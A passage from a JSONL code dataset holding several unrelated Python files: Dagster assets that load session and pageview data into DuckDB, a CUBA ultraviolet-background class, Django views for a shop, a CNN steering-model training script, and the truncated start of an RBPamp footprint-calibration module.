Pageviews DF Shape: {pageviews_df.shape}\")\n return sessions_df, pageviews_df\n\n@asset(key=\"pond_sessions\", ins={\"sessions_df\":AssetIn(\"sessions_df\")}, partitions_def=daily_dump_partition)\ndef fill_pond_sessions(sessions_df, config: DuckPondConfig, pond_hose: DuckPondHose):\n assert config.table_name\n assert pond_hose\n logger = get_dagster_logger()\n table_name = config.table_name\n data = sessions_df.to_dict(orient='records')\n results = pond_hose.fill_duck_pond(data, table_name)\n logger.info(results)\n\n\n@asset(key=\"pond_pageviews\", ins={\"pageviews_df\":AssetIn(\"pageviews_df\")}, partitions_def=daily_dump_partition)\ndef fill_pond_pageviews(pageviews_df, config: DuckPondConfig, pond_hose: DuckPondHose):\n assert config.table_name\n assert pond_hose \n logger = get_dagster_logger()\n\n db = duckdb.connect(database=':memory:', read_only=False)\n db.register('session_pvs', pageviews_df)\n qry = \"\"\"\n SELECT \n sp.user_id,\n sp.session_id,\n sp.session_start_time,\n pv.pageview_timestamp,\n pv.hostname,\n pv.pagePath,\n pv.pageTitle,\n pv.pagePathLevel1,\n pv.pagePathLevel2,\n pv.pagePathLevel3,\n pv.pagePathLevel4,\n pv.total_product_impressions\n FROM session_pvs AS sp,\n UNNEST(session_pageviews) AS t(pv)\n \"\"\"\n pageviews_df = db.query(qry).df() \n logger.info(f\"Pageviews DF Shape: {pageviews_df.shape}\")\n db.close()\n pageviews_df['pageview_id'] = [uuid.uuid4().hex for _ in range(pageviews_df.shape[0])]\n data = pageviews_df.to_dict(orient='records')\n table_name = config.table_name\n results = pond_hose.fill_duck_pond(data, table_name)\n logger.info(results)\n\n\n\n\n","repo_name":"thedatagata/duck-pond-dbt","sub_path":"duck_me/assets/fill_duck_pond_assets/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73036757813","text":"\"\"\" Class for working with CUBA\n\"\"\"\nfrom __future__ import print_function, absolute_import, division, unicode_literals\n\nimport numpy as np\nimport os, imp\nimport warnings as warn\nimport pdb\n\nfrom scipy.integrate import simps\nfrom scipy.interpolate import interp1d\n\nfrom astropy import units as u\nfrom astropy import constants as const\n\n# Path\npyigm_path = imp.find_module('pyigm')[1]\nRyd = const.Ryd.to('eV', equivalencies=u.spectral())\n\nclass CUBA(object):\n \"\"\"\n Class for CUBA analysis\n\n JXP on 13 Oct 2015\n\n Attributes\n ----------\n fits_path : str, optional\n Path to the FITS data files for COS-Halos\n z : ndarray\n Array of z values from CUBA file\n energy : Quantity array\n Array of energy values, sorted (eV); converted from wave\n wave : Quantity array\n Array of wavelength values (reverse order) from CUBA file\n Jnu : Quantity 2D array [energy,z]\n Array of Jnu values from CUBA file\n \"\"\"\n # Initialize with a .dat file\n def __init__(self, cuba_file=None):\n\n # CUBA file\n if cuba_file is None:\n cuba_file = pyigm_path+'/data/euvb/cuba_uvbapr2011_q1g01.hiz.out'\n self.cuba_file = cuba_file\n\n # Read\n self.read_cuba()\n\n def read_cuba(self):\n \"\"\" Read in a CUBA file \n \"\"\"\n # File\n # Read\n print('read_cuba: Using CUBA file -- {:s}'.format(self.cuba_file))\n with open(self.cuba_file,'r') as f:\n lines = f.readlines()\n # Parse\n flg_z = 0\n idx = 0\n nlin = len(lines)\n wave = []\n for qq, line in enumerate(lines):\n if line.strip()[0] == '#':\n continue\n # First good line has the redshifts\n if flg_z == 0:\n flg_z = 1\n self.z = np.array([float(val) for val in line.strip().split()])\n jnu = np.zeros( (nlin-qq-1, len(self.z)))\n else:\n parse = [float(val) for val in line.strip().split()]\n wave.append(parse[0])\n jnu[idx, :] = parse[1:]\n idx += 1\n\n # Unique values\n uni_wv, idx_wv = np.unique(np.array(wave), return_index=True)\n Jnu = np.zeros( (len(uni_wv), len(self.z)))\n # Sort\n srt = np.argsort(1./uni_wv)\n for ii in range(len(self.z)):\n Jnu[:, ii] = jnu[idx_wv[srt], ii] * u.erg/u.s/u.cm**2\n\n # Finish with units\n self.wave = np.array(uni_wv[srt])*u.AA\n self.energy = self.wave.to('eV', equivalencies=u.spectral())\n self.Jnu = Jnu * u.erg/u.s/u.cm**2\n\n def phi(self, zval, min_energy=None):\n \"\"\"Calculate photon flux from a given minimum energy\n\n Parameters:\n ----------\n zval : float\n Redshift for evaluation\n min_energy : Quantity or Quantity array, optional\n Minimum energy for the calculation\n Default -- 1Ryd\n \"\"\"\n # Init\n E_MAX = 1e10*Ryd\n if min_energy is None:\n min_energy = Ryd\n print('cuba.phi: Assuming minimum energy = {:g}'.format(min_energy))\n # Grab Jnu at the input redshift\n jnu = self.zinterp_jnu(zval)\n # Setup for log integral\n log_energy = np.log10(self.energy.to('eV')/Ryd)\n # Cut out high/low energies\n blue_energy = (self.energy >= min_energy) & (self.energy <= E_MAX)\n integrand = 4*np.pi*jnu.cgs/const.h.cgs # Note the factor of 4 pi\n integrand[~blue_energy] = 0.0\n # Integrate\n phi = np.log(10.)*simps(integrand.value, log_energy)\n # Return with Units\n return phi / u.s / u.cm**2\n\n def logU(self, zval, nH=1/u.cm**3, min_energy=1*Ryd):\n \"\"\" Estimate the ionization parameter at the given redshift\n for a default density of 1cc.\n\n Parameters\n ----------\n zval : float\n nH : Quantity, optional\n Gas density\n min_energy : Quantity, optional\n\n Returns\n -------\n logU : float\n log10 of the Ionization parameter, defined as U = Phi/c nH\n \"\"\"\n Phi = self.phi(zval, min_energy=min_energy)\n U = (Phi / const.c.cgs / nH).decompose()\n if U.unit != u.dimensionless_unscaled:\n raise IOError(\"Bad units in your logU calculation..\")\n else:\n return np.log10(U.value)\n\n def zinterp_jnu(self, zval, use_nearest=False):\n \"\"\"Interpolate the Jnu grid at a given redshift\n\n Parameters\n ----------\n zval : float\n Redshift\n use_nearest : bool, optional\n Use nearest redshift instead??\n \"\"\"\n # Do not interpolate beyond limits\n minz = np.min(self.z)\n maxz = np.max(self.z)\n if zval < minz:\n warn.warning('Input z was lower than z grid')\n print('Using z={:g}'.format(minz))\n return self.Jnu[:, 0].flatten()\n if zval > maxz:\n warn.warning('Input z was larger than z grid')\n print('Using z={:g}'.format(maxz))\n return self.Jnu[:, -1].flatten()\n\n # Find nearest? \n if use_nearest:\n idx = np.argmin(np.abs(self.z-zval))\n return self.Jnu[:, idx].flatten()\n\n # Interpolate\n nval = self.energy.shape[0]\n jnu = np.zeros(nval)\n for ii in range(nval):\n jnu[ii] = interp1d(self.z, self.Jnu[ii, ])(zval)\n return jnu * self.Jnu.unit\n #\n\n def plot(self, zval, xlim=None):\n \"\"\"Show the CUBA spectrum (Ryd vs. log Jnu)\n\n Parameters\n ----------\n zval : float\n Redshift\n xlim : tuple, optional\n xmin, xmax (Ryd)\n \"\"\"\n import matplotlib as mpl\n mpl.rcParams['font.family'] = 'stixgeneral'\n from matplotlib import pyplot as plt\n\n plt.clf()\n xval = self.energy / const.Ryd.to('eV', equivalencies=u.spectral())\n yval = np.log10(self.zinterp_jnu(zval).value)\n #\n plt.plot(xval, yval, 'k-')\n plt.xlabel('Energy (Ryd)')\n plt.ylabel(r'$\\log J_\\nu$')\n plt.ylim(-25., -19.)\n if xlim is not None:\n plt.xlim(xlim)\n #\n plt.show()\n\n def __repr__(self):\n return ('[{:s}: cuba_file={:s}]'.format(\n self.__class__.__name__, self.cuba_file))\n\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/pyigm_pyigm/pyigm-master/pyigm/euvb/cuba.py","file_name":"cuba.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"4159759909","text":"from math import ceil\nfrom datetime import datetime\nfrom django.contrib.auth import authenticate, login\nfrom django.http import request\nfrom django.shortcuts import redirect, render\nfrom django.shortcuts import render, get_object_or_404\nfrom django.urls import reverse_lazy, reverse\nfrom django.views.generic import FormView, CreateView, ListView, DetailView\nfrom django.views.generic.list import MultipleObjectMixin\n\nfrom .models import Product, Review\n# from .forms import RegisterForm, UserForm\nfrom .forms import RegisterForm, PurchaseCreateForm, ReviewCreateForm\nfrom .models import Product, Review, Apply, Post\nfrom .forms import RegisterForm\nfrom django.contrib.auth.views import LoginView\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.models import User\nfrom django.urls import reverse\nfrom django.db.models import Q\nclass ProductList(ListView):\n model = Product\n template_name = 'goods/goodsList.html'\n\n def get_context_data(self, **kwargs):\n #생성된 context는 Template으로 전달됨\n context = super().get_context_data(**kwargs)\n context['current_date'] = datetime.now()\n return context\n\nclass ProductCreate(LoginRequiredMixin, CreateView):\n login_url = '/login/'\n model = Product\n fields = '__all__'\n template_name = 'goods/goodsRegister.html'\n success_url = '../completeRegister/'\n\n def post(self, request, *args, **kwargs):\n self.object = None\n return super().post(request, *args, **kwargs)\n\nclass ReviewList(ListView):\n model = Review\n template_name = 'review/reviewList.html'\n\nclass ReviewCreate(LoginRequiredMixin, CreateView):\n login_url = '/login/'\n model = Review\n # fields = '__all__'\n template_name = 'review/review-post.html'\n # success_url = '../complete2/'\n form_class = ReviewCreateForm # 추가\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n purchase_id = self.kwargs.get(\"purchase_id\")\n context[\"purchase_id\"] = purchase_id\n return context\n\n def form_valid(self, form):\n form.instance.author = self.request.user\n return super().form_valid(form)\n\n def get_success_url(self):\n return reverse('reviewComplete')\n\n # def post(self, request, *args, **kwargs):\n # self.object = None\n # return super().post(request, *args, **kwargs)\n\nclass ReviewDetail(DetailView):\n model = Review # queryset = Product.objects.all()과 동일\n template_name = 'review/reviewDetail.html'\n context_object_name = \"review\"\n\n # pk 가져오기\n def get_context_data(self, **kwargs):\n #생성된 context는 Template으로 전달됨\n context = super().get_context_data(**kwargs)\n #context['prodcut_list'] = Product.objects.filter()\n return context\n\n# def signup(request):\n# # 계정 생성\n# if request.method == \"POST\":\n \n# form = UserForm(request.POST)\n# if form.is_valid():\n# form.save()\n# username = form.cleaned_data.get('username')\n# raw_password = form.cleaned_data.get('password2')\n# user = authenticate(username=username, password=raw_password)\n# login(request, user) #로그인\n# return redirect('/')\n\n# else:\n# form = UserForm()\n# return render(request, 'signup/signup.html', {'form': form})\n\n# class UserLoginView(LoginView):\n# template_name = 'login/login.html'\n# def form_invalid(self, form):\n# messages.error(self.request, '로그인에 실패하였습니다.')\n# return super().form_invalid(form)\n\nclass GoodsDetail(DetailView):\n model = Product # queryset = Product.objects.all()과 동일\n template_name = 'goods/goodsDetail.html'\n context_object_name = \"product\"\n\n # pk 가져오기\n def get_context_data(self, **kwargs):\n #생성된 context는 Template으로 전달됨\n context = super().get_context_data(**kwargs)\n #context['prodcut_list'] = Product.objects.filter()\n product_id = self.kwargs.get(\"pk\") #해당 상품의 pk id\n total_quantity = 0 #현재까지 주문량\n product = Product.objects.get(pk=product_id)\n applies = Apply.objects.filter(product__id = product_id)\n for apply in applies:\n total_quantity += apply.quantity\n percent = ceil((total_quantity/product.quantity) * 100)\n print(percent)\n context['total_quantity'] = total_quantity\n context['percent'] = percent\n context['current_date'] = datetime.now()\n context['due_date'] = product.due_date\n return context\n\nclass ApplyCreate(LoginRequiredMixin, CreateView):\n login_url = '/login/'\n model = Apply\n template_name = 'goods/purchase.html'\n form_class = PurchaseCreateForm\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n purchase_id = self.kwargs.get(\"purchase_id\")\n context[\"purchase_id\"] = purchase_id\n return context\n\n def get_success_url(self):\n return reverse('applyComplete')\n \n def form_invalid(self, form):\n print(form.errors)\n return super().form_invalid(form)\n\n def form_valid(self, form):\n form.instance.product = Product.objects.get(pk=form.data.get('product'))\n return super().form_valid(form)\n\ndef review_list(request):\n reviews = Review.objects.all()\n return render(request, 'review/reviewList.html', context={'reviews':reviews})\n\n#공지사항 관련 API\ndef posts_list(request):\n posts = Post.objects.all()\n return render(request, 'notice/notice-board.html', context={'posts':posts})\n\ndef post_detail(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n\n return render(request, 'notice/notice-detail.html', context={'post':post })\n\ndef post_write(request):\n errors = []\n if request.method =='POST':\n user = User.objects.get(email=(request.session.get('user')))\n title = request.POST.get('title', '').strip()\n content = request.POST.get('content', '').strip()\n image = request.FILES.get('image')\n\n if not title:\n errors.append(\"제목을 입력해주세요.\")\n\n if not content:\n errors.append(\"내용을 입력해주세요.\")\n\n if not errors:\n post = Post.objects.create(user=user, title=title, content=content, image=image)\n return redirect(reverse('post_detail', kwargs={'post_id':post.id}))\n\n return render(request, 'notice/notice-post.html', {'errors':errors})\n\n#상품 검색 기능 API\ndef searchResult(request):\n current_date = datetime.now()\n products = None\n query = None\n if 'q' in request.GET:\n query = request.GET.get('q')\n products = Product.objects.all().filter(Q(name__contains=query) | Q(description__contains=query))\n \n return render(request, 'search/search.html', {'query':query, 'products':products, 'current_date':current_date})\n\n# 내가 신청한 물품 모아보기 API\ndef myProduct(request):\n # curr_user = request.user\n applies = Apply.objects.all().filter(username=request.user)\n # products = Product.objects.all().filter(pk=applies)\n\n return render(request, 'my-page/my-product.html', {'applies':applies})\n\n\nclass myProductDetail(DetailView):\n model = Apply # queryset = Product.objects.all()과 동일\n template_name = 'my-page/my-product-detail.html'\n context_object_name = \"apply\"\n \n\n# 시안 제작 페이지\ndef draw(request):\n return render(request, 'drawing/draw-board.html')","repo_name":"jinhyungrhee/HGGv1","sub_path":"APIs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70642758134","text":"#!/usr/bin/env python\n# coding: utf-8\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport os\nimport sys\nimport gc\nimport time\nfrom tqdm.notebook import tqdm\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.utils import plot_model\n\nmodule_path_list = [os.path.abspath(os.path.join('../')), \n os.path.abspath(os.path.join('../../RCSnail-Commons'))]\nfor module_path in module_path_list:\n if module_path not in sys.path:\n sys.path.append(module_path)\n\nfrom commons.configuration_manager import ConfigurationManager\n#from src.utilities.transformer import Transformer\nfrom src.learning.training.generator import Generator, GenFiles\n# from src.learning.models import create_standalone_nvidia_cnn, create_standalone_resnet, create_small_cnn\nfrom src.learning.models import create_standalone_nvidia_cnn, create_standalone_resnet\n \n\n\ndef plot_stuff(title, plot_elem, figsize=(18, 10)):\n fig=plt.figure(figsize=figsize)\n plt.title(title)\n plt.ylabel('Loss')\n plt.xlabel('Epoch')\n #x = np.arange(0, len(plot_elems[0]['data']), 1)\n \n #for plot_elem in plot_elems:\n # plt.errorbar(x, plot_elem['data'], yerr=plot_elem['error'], label=plot_elem['label'], alpha=plot_elem['alpha'], fmt='-o', capsize=5)\n \n plt.plot(list(range(1,len(plot_elem['data'])+1)), plot_elem['data'])\n plt.grid(axis='both')\n #plt.legend(loc='best', prop={'size': 15})\n plt.show()\n plt.savefig('./' + title + '.png')\n \ndef get_model_num(model_path, model_prefix):\n model_files = [fn for fn in os.listdir(model_path) if fn.startswith(model_prefix) and fn.endswith('.h5') and 'dagger_' not in fn]\n # expected format is \"model_n1_m1_9.h5\"\n existing_nums = [int(fn.split('_')[3].split('.')[0]) for fn in model_files]\n \n if len(existing_nums) == 0:\n return 1\n else:\n latest_num = sorted(existing_nums)[-1]\n return int(latest_num) + 1\n\n\nconfig_manager = ConfigurationManager()\nconfig = config_manager.config\n\nmemory = (1, 1)\n#ARDI' comment -- we just use (1,1) this refers to how many frames are used and sth else, not sure what\n\nmodel_path = '../'\n\n\nimport tensorflow as tf\ndef scheduler(epoch, lr):\n if epoch>30 and epoch%10==0:\n lr*=0.5\n return lr\n\n\n# Model experiments\nimport os\n\nepochs = 50\nbatch_size = 64\nverbose = 1\n\nlosses = []\nval_losses = []\n\n#in here added option to not shuffle, so last 20% of recording time is used as val set -- in future might want to reduce proportion of val set\ngenerator = Generator(config, memory_tuple= memory, base_path='../', batch_size=batch_size, column_mode='all', shuffle_data=False) \n\n# frame_shape, numeric_shape, diff_shape = generator.get_shapes()\nframe_shape, diff_shape = generator.get_shapes()\n\ntqdm.write('Target shape: {}'.format(diff_shape)) #tqdm is some package that allow to track the progress of operations\ntqdm.write('Input shapes: {}'.format(frame_shape))\n\n\nmodels = []\n\n# ARDI's comment: Nividia is the model we want to use (resnet might be good to??)\ngenerator = Generator(config, memory_tuple= memory, base_path='../', batch_size=batch_size, column_mode='all', shuffle_data=True)\nmodels.append((create_standalone_nvidia_cnn(activation='linear', input_shape=(50, 180, 3), output_shape=2), generator.generate))\n\n# # \"steer and throttle\"\n# generator = Generator(config, memory_tuple= memory, base_path='../', batch_size=batch_size, column_mode='all', shuffle_data=False) \n# models.append((create_small_cnn(activation='linear', input_shape=(50, 180, 3), output_shape=2), generator.generate))\n\ncallbacks=[tf.keras.callbacks.LearningRateScheduler(scheduler)]\n\nfor model, generate_method in tqdm(models):\n result_desc = 'n{}_m{}'.format(*memory)\n tqdm.write(result_desc)\n\n hist = model.fit(generate_method(data='train'),\n steps_per_epoch=generator.train_batch_count,\n validation_data=generate_method(data='test'),\n validation_steps=generator.test_batch_count,\n callbacks=callbacks,\n epochs=epochs, verbose=verbose)\n\n model_file_prefix = 'model_n{}_m{}'.format(*memory)\n model_file_suffix = '_{}.{}'\n\n model_number = get_model_num(model_path, model_file_prefix)\n plot_model(model, to_file=model_path + model_file_prefix + model_file_suffix.format(model_number, 'png'), show_shapes=True)\n model.save(model_path + model_file_prefix + model_file_suffix.format(model_number, 'h5'))\n \n current_loss = hist.history['loss']\n current_val_loss = hist.history['val_loss'] \n \n losses.append(current_loss)\n print(val_losses)\n val_losses.append(current_val_loss)\n \n tqdm.write(\"Loss per epoch: {}\".format(current_loss))\n tqdm.write(\"Validation loss per epoch: {}\".format(current_val_loss))\n \n gc.collect()\nos.system(\"printf '\\a'\")\n\n\nprint(val_losses)\nprint(hist.history['val_loss'] )\nloss_data = []\nval_loss_data = []\n\n\nval_loss_data = {'data': hist.history['val_loss'], 'label': 'Validation loss', 'alpha': 1.0}\nplot_stuff('Nivida cnn standalone validation loss', val_loss_data, figsize=(10, 6))\n\n\nloss_data = {'data': losses[0], 'label': 'Loss', 'alpha': 1.0}\nplot_stuff('Training', loss_data, figsize=(10, 6))\n\n\n#todo load test set into memeory, evaluate\nimport keras\nmodel = keras.models.load_model(\"../masked_test.h5\")\nimport glob\n\nval_data_loc=\"../n1_m1\"\nfilenames = glob.glob(\"../n1_m1/*\")\nprint(len(filenames))\nnr_of_datapoints = int(len(filenames)/2) #label and image files\n\n\nMAEs=[]\npreds=[]\nlabels=[]\n\nfor batch in range(nr_of_datapoints//32-32,nr_of_datapoints//32): # using the end of file. 32 batches of size batch of 32\n frames=np.zeros((32,50,180,3))\n commands = np.zeros((32,2))\n for i in range(32):\n frames[i,:] = np.load(\"../n1_m1/frame_\"+str(batch*32+i).zfill(7)+\".npy\")\n commands[i] = np.load(\"../n1_m1/commands_\"+str(batch*32+i).zfill(7)+\".npy\")\n MAEs.append(model.evaluate(frames,commands, batch_size=32))\n pred = model.predict(frames)\n preds.append(pred)\n labels.append(commands)\n \nprint(np.mean(MAEs))\n#TODO MAE for steer and throttle separately, mased on preds and commands\n\n\nprint(np.mean(MAEs))\np_steer=np.array(preds)[:,:,0]\nl_steer=np.array(labels)[:,:,0]\np_throttle=np.array(preds)[:,:,1]\nl_throttle=np.array(labels)[:,:,1]\n\nprint(p_steer.shape,l_steer.shape)\np_steer=p_steer.flatten()\nl_steer=l_steer.flatten()\np_throttle=p_throttle.flatten()\nl_throttle=l_throttle.flatten()\n\n\nplt.figure(figsize=(32,8))\nplt.plot(range(1000),l_steer[:1000],label=\"human steering\")\nplt.plot(range(1000),p_steer[:1000],label=\"predicted\")\nplt.legend()\nplt.show()\n\n\nplt.figure(figsize=(32,8))\nplt.plot(range(1000),l_throttle[:1000],label=\"human throttle\")\nplt.plot(range(1000),p_throttle[:1000],label=\"predicted\")\nplt.legend()\nplt.show()\n\n\n\nplt.scatter(l_steer,p_steer,s=0.001)\n\n\n\n\n","repo_name":"enliktjioe/deltax","sub_path":"RCSnail-AI-lite/notebooks/script/training_ground.py","file_name":"training_ground.py","file_ext":"py","file_size_in_byte":6932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15351308539","text":"# -*- coding: future_fstrings -*-\nfrom __future__ import print_function\nimport numpy as np\n# from RBPamp.npwrap import npmonitored\nimport gc\nimport os\nimport sys\nimport shelve\nimport logging\nfrom RBPamp.cmdline import ensure_path\nfrom RBPamp.caching import pickled, cached, monitored, CachedBase, get_cache_sizes\nimport RBPamp.cyska as cyska\nfrom RBPamp.sc import SelfConsistency\n\nfrom scipy.optimize import minimize\nfrom time import time\nfrom copy import deepcopy\ngc.enable()\n# gc.set_debug(gc.DEBUG_LEAK)\n\ndef dump_garbage():\n # force collection\n gc.collect()\n print(\"GARBAGE OBJECTS:\")\n for x in gc.garbage:\n s = str(x)\n if len(s) > 80: s = s[:80]\n print(type(x),\"\\n \", s)\n\ndef dump_caches():\n for size, cache in get_cache_sizes():\n print(cache, size/1024.)\n\n\nclass RowOptimization(object):\n def __init__(self, cal, acc_k):\n self.logger = logging.getLogger(\"opt.footprint.row_opt\")\n self.cal = cal\n self.acc_k = acc_k\n self.params = deepcopy(self.cal.params)\n self.params.acc_k = acc_k\n \n self.lacc0, self.punp1 = self.cal.get_lacc_punp_cached(acc_k)\n self.openen = self.cal.get_input_openen_cached(acc_k)\n self.openen_punp = self.cal.get_input_openen_cached(1)\n self.Z1 = self.cal.Z1\n self.zw = self.Z1.shape[1]\n\n def predict_profiles(self, acc_shift, a, A0):\n from time import time\n t0 = time()\n \n # select shifted accessibilities\n self.params.acc_shift = acc_shift\n ofs = self.openen.ofs - self.params.k + 1 + acc_shift\n if ofs < 0:\n self.logger.warning(\"ofs underflow\")\n\n # compute partition function with scaled acc.\n # # scale accessibilities\n # acc1 = np.exp(self.lacc0 * np.float32(a))\n # Z1_acc = self.Z1 * acc1[:, ofs:ofs + self.zw]\n assert len(self.Z1) == len(self.lacc0) # make sure the subsetting was done on both!\n Z1_acc = cyska.acc_scale_Z1(self.Z1, self.lacc0, a, ofs)\n # aggregate to read-level\n t1 = time()\n Z1_read, Z1_read_max = cyska.clipped_sum_and_max(Z1_acc, clip=1E6)\n t2 = time()\n\n # predict binding probability\n sc = SelfConsistency(Z1_read, self.cal.input_reads.rna_conc, bins=1000)\n rbp_free = sc.free_rbp_vector(self.cal.rbp_conc, Z_scale=A0)\n t3 = time()\n\n psi = cyska.p_bound(Z1_read, np.array(rbp_free*A0,dtype=np.float32))\n t4 = time()\n\n # compute base-p_unpaired profiles\n assert len(self.Z1) == len(self.punp1)\n\n punp_expect = cyska.acc_footprints(\n self.Z1,\n self.punp1,\n self.params.k, \n 1, \n self.openen_punp.ofs - self.params.k + 1, \n pad=self.cal.pad, \n row_w = np.ascontiguousarray(psi.T),\n n_threads=1\n )\n t_prof = time() - t4\n\n times = 1000 * np.array([t1-t0, t2-t1, t3-t2, t4-t3, t_prof])\n N = len(self.Z1)\n self.logger.debug(f\"N={N} t_partfunc={times[0]:.2f} t_Zread={times[1]:.2f} t_sc={times[2]:.2f} t_psi={times[3]:.2f} t_prof={times[4]:.2f}\")\n return np.array(punp_expect)\n\n def optimize_a(self, acc_shift, A0=None):\n if A0 is None:\n A0 = self.params.A0\n \n self.logger.debug(f\"optimize_a({acc_shift}, A0={A0})\")\n def to_opt_a(a):\n punp_expect = self.predict_profiles(acc_shift, a, A0)\n err = np.sum((punp_expect - self.cal.punp_profiles[1:])**2)\n return err\n\n from scipy.optimize import minimize\n res = minimize(\n to_opt_a,\n (0, ), # start with no secondary structure data A0\n bounds= [ (0, 1.), ], \n options=dict(eps=1e-4, maxiter=100, ftol=1e-5)\n )\n res.a = res.x\n res.A0 = A0\n punp_expect = self.predict_profiles(acc_shift, res.a, res.A0)\n return punp_expect, res\n\n def optimize_A0(self, acc_shift, a=1):\n self.logger.debug(f\"optimize_A0({acc_shift}, a={a})\")\n def to_opt_A0(A0):\n punp_expect = self.predict_profiles(acc_shift, a, A0)\n err = np.sum((punp_expect - self.cal.punp_profiles[1:])**2)\n return err\n\n res = minimize(\n to_opt_A0,\n (1., ),\n bounds= [ (1e-4, 1e3), ], \n options=dict(eps=1e-4, maxiter=100, ftol=1e-5)\n )\n res.a = a\n res.A0 = res.x\n punp_expect = self.predict_profiles(acc_shift, res.a, res.A0)\n return punp_expect, res\n\n def optimize(self, acc_shift):\n self.logger.debug(f\"optimize({acc_shift})\")\n def to_opt(args):\n a, A0 = args\n punp_expect = self.predict_profiles(acc_shift, a, A0)\n err = np.sum((punp_expect - self.cal.punp_profiles[1:])**2)\n # print punp_expect, err\n return err\n\n res = minimize(\n to_opt,\n (0, 1., ),\n bounds= [ (0, 1), (1e-4, 1e3), ], \n options=dict(eps=1e-4, maxiter=100, ftol=1e-5)\n )\n res.a = res.x[0]\n res.A0 = res.x[1]\n punp_expect = self.predict_profiles(acc_shift, res.a, res.A0)\n # print \"opt res\", res\n return punp_expect, res\n\n\n\nclass FootprintCalibration(CachedBase):\n def __init__(self, rbns, params, pad=5, thresh=1e-3, subsample=False, redo=False):\n \n CachedBase.__init__(self)\n\n # print \">>> before initialization\"\n # dump_caches()\n self.params = params.copy()\n self.consensus = self.params.as_PSAM().consensus\n self.consensus_ul = self.params.as_PSAM().consensus_ul\n self.logger = logging.getLogger(f'opt.FootprintCalibration({self.consensus_ul})')\n self.log_mem_usage(\"before init\")\n self.path = ensure_path(os.path.join(rbns.out_path, 'footprint/'))\n self.params.acc_k = 0\n self.params.acc_scale = 0\n self.params.non_specific = 0\n self.rbns = rbns\n self.input_reads = rbns.reads[0]\n self.subsample = subsample\n self.pd_names = [reads.name for reads in rbns.reads[1:]]\n self.rbp_conc = rbns.rbp_conc\n self.pad = pad\n self.thresh = thresh\n self.result_log = logging.getLogger('results.footprint')\n\n self.shelve = shelve.open(\n os.path.join(self.path, f\"history_{self.consensus_ul}\"), \n protocol=-1, \n flag='n' if redo else 'c'\n )\n self.shelve[\"rbp_conc\"] = self.rbp_conc\n\n self.results = {}\n self._openen_cache = {}\n self._lacc_cache = {}\n self._punp_input = None\n\n fp = os.path.join(self.path, f'footprints_{self.consensus_ul}.tsv')\n # if os.path.exists(fp):\n # self.load_footprints(fp)\n # no need to load these, as we now keep pickled results from optimize()\n\n self.fp_file = open(fp, 'w')\n self.fp_file.write('acc_k\\tacc_shift\\tacc_scale\\tA0\\terror\\n')\n self._partfunc_done = False\n self.log_mem_usage(\"after init\")\n\n def log_mem_usage(self, when='SIZE', n_max=10):\n for size, cache in get_cache_sizes()[:n_max]:\n s = size/1024.**2\n if s < 1:\n continue\n self.logger.debug(f\"MEM {when}: {cache} {s:.3f} MB\")\n\n # @npmonitored\n def prepare_partition_functions(self):\n if self._partfunc_done:\n return\n\n # Z1 = np.array([reads.PSAM_partition_function(self.params) for reads in rbns.reads])\n self.logger.info(\"evaluating partition function\")\n from RBPamp.params import ModelSetParams\n self.Z1_full = np.array([reads.PSAM_partition_function(ModelSetParams([self.params, ]), subsample=self.subsample) for reads in self.rbns.reads])\n self.Z1_in_noacc = self.Z1_full[0]\n \n Z1_read = self.Z1_in_noacc.sum(axis=1)\n self.logger.debug(\"Z1_read percentiles 5,25,50,75,95,99 {}\".format(np.percentile(Z1_read, [5, 25, 50, 75, 95, 99])))\n thresh = self.thresh * Z1_read.max()\n self.I = Z1_read > thresh\n N = self.I.sum()\n kept_ratio = N/float(len(Z1_read))\n if kept_ratio > .5:\n self.logger.warning(f\"motif-based thresholding would keep {kept_ratio:.2f} of reads. Choosing median instead\")\n self.I = Z1_read > np.median(Z1_read)\n N = self.I.sum()\n else:\n self.logger.info(f\"subsetting to {N} reads with Z1 > {thresh}\")\n self.Z1 = self.Z1_in_noacc[self.I,:]\n\n for reads in self.rbns.reads[1:]:\n reads.cache_flush()\n reads.acc_storage.cache_flush()\n\n self.punp_profiles, self.naive_profiles = self.compute_initial_profiles()\n # print \"punp_profiles\", self.punp_profiles\n # print \"naive_profiles\", self.naive_profiles\n self.store_shelve(\"params_initial\", self.params)\n self.store_shelve(\"punp_profiles\", self.punp_profiles)\n self.store_shelve(\"naive_profiles\", self.naive_profiles)\n\n # self.logger.debug(\"plotting naive punp profiles\")\n # self.plot_profiles(self.naive_profiles, 0, 0, None)\n self.err0 = np.sum((self.naive_profiles - self.punp_profiles[1:])**2)\n self.logger.debug(f\"naive error: {self.err0}\")\n self.store_shelve(\"err0\", self.err0)\n self.store_shelve(\"indices_threshold\", self.I)\n\n un_opt = (self.err0, 0, 0, 0, self.params.A0)\n self.results[(0, 0)] = un_opt\n self.store_footprint(un_opt)\n\n self.logger.debug(\"done, freeing some memory\")\n for reads in self.rbns.reads[1:]:\n reads.cache_flush()\n reads.acc_storage.cache_flush()\n\n self._partfunc_done = True\n self.log_mem_usage(\"after prepare_partition_functions\")\n\n def store_shelve(self, key, value):\n self.shelve[\"{0}_{1}\".format(self.consensus_ul, key)] = value\n self.shelve.sync() \n\n def load_shelve(self, key, default=None):\n k = \"{0}_{1}\".format(self.consensus_ul, key)\n if k in self.shelve:\n return self.shelve[k]\n return default\n\n def load_profile(self, k, s):\n key = \"opt_profile_{k}_{s}\".format(k=k, s=s)\n # print \"loading\", key\n stored = self.load_shelve(key)\n # if stored is None:\n # l = 'na'\n # else:\n # l = len(stored)\n # print \"load_profile\",k,s,\"->\" , l\n 